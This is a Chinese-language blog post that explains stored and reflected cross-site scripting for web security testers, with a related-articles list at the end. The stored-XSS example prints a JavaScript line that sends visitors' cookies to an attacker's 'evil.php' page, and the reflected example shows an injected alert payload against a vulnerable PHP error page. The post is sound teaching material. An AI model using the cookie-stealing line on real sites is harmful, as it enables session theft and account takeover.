Web安全测试 | xss攻击

作者: 西边人 | 来源:发表于2018-01-25 17:19 被阅读45次

xss攻击的全称是Cross-Site Scripting (XSS)攻击,是一种注入式攻击。基本的做法是把恶意代码注入到目标网站。由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的,所以浏览器会无差别执行恶意脚本,从而导致用户信息和一些敏感信息被盗取和泄漏。

xss一般分为两种类型,持久化的xss和非持久化的xss。

持久化xss

下面这个例子演示了攻击者如何通过注入恶意代码去盗取用户的cookie的。

假设攻击者在某个论坛发了个帖子,在帖子里包含了如下的恶意代码

var adr = '../evil.php?cakemonster=' + escape(document.cookie);

那么其他用户在浏览这个帖子的时候,上面的代码就会被浏览器执行,从而将用户的cookie信息发送到了/evil.php?,这个攻击者搭建的恶意站点。由于cookie里包含了用户的一些登录态和敏感信息,所以访问这个帖子的用户会面临被盗号的风险。

还原一下这次攻击的过程

攻击者在论坛发了包含恶意代码的帖子

一般来说这个帖子的内容会保存在数据库里(持久化)

攻击者诱导其他用户去访问这个帖子

其他用户访问该帖子时网站后台会从数据库里读取帖子的内容并发送给浏览器

浏览器渲染帖子的内容时执行了恶意脚本

恶意脚本将用户的cookie偷偷发送给恶意网站evil.php

非持久化的xss

上面的例子攻击代码持久化在了数据库里,非持久化的攻击则不需要这样,看下面的例子。

假设我们有这样的一个错误页面,用php实现的

当用户访问的页面不存在时候,上面的页面会自动加载,并且print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);这一行会打印出不存在页面的具体url。

举个例子,当用户访问www.example.com/page_missing页面时,由于page_missing页面不存在,所以example.com会自动跳转到page_missing路径,并在页面上打印出Not found: page_missing字符串。

如果攻击者构造了这样一个链接,诱导用户访问http://wwww.example.com/alert("TEST");,那么普通用户访问该链接时,因为/alert("TEST");会被打印在页面上并当作普通脚本执行,这样一来,如果攻击者构造的脚本里包含获取用户敏感信息的代码,那么用户的信息将被泄漏。

还原一下这次攻击的过程

攻击者构造http://wwww.example.com/alert("TEST");链接,引诱普通用户访问

普通用户访问后,跳转到错误页面

错误页面会执行恶意脚本,造成用户信息泄漏

总结

xss攻击是目前最常见的web攻击形式,大家可以通过上面的例子管中窥豹一下,其核心的攻击方式是恶意代码注入,浏览器将注入的代码当成普通脚本正常执行。


作者:西边人西说测试

公众号、今日头条(软件测试资源站)作者

关注后回复关键词 测试资料、工具、google等,自动下发大量打包资料

相关文章

  • Web安全测试 | xss攻击

    xss攻击的全称是Cross-Site Scripting (XSS)攻击,是一种注入式攻击。基本的做法是把恶意代...

  • xss攻击

    前端安全之XSS攻击 XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重...

  • WEB 安全测试之 XSS 攻击

    目录结构 1、 背景知识 2、 XSS 漏洞的分类 3、 XSS 防御 4、 如何测试 XSS 漏洞 5、 HTM...

  • XSS攻击

    什么是XSS? XSS攻击中文全称“跨站脚本攻击”。XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用...

  • XSS盗取cookie

    XSS定义 XSS是一种比较容易出现的安全漏洞,也是web比较常见的web攻击方式。XSS是指攻击者利用网络没有对...

  • XSS 攻击防守

    最常见的攻击xss 什么是xss? 为什么是xss? 开放式Web应用程序安全项目(Open Web Applic...

  • 前端安全

    XSS XSS攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提...

  • XSS && CSRF 攻击

    XSS 攻击 XSS (Cross-Site Scripting,跨站脚本攻击)是一种常见的web安全漏洞,它允许...

  • XSS攻击与防御

    Web安全之XSS攻防 1. XSS的定义 跨站脚本攻击(Cross Site Scripting),缩写为XSS...

  • Web安全之XSS攻防

    Web安全之XSS攻防 1. XSS的定义 跨站脚本攻击(Cross Site Scripting),缩写为XSS...

网友评论

    本文标题:Web安全测试 | xss攻击

    本文链接:https://www.haomeiwen.com/subject/giavaxtx.html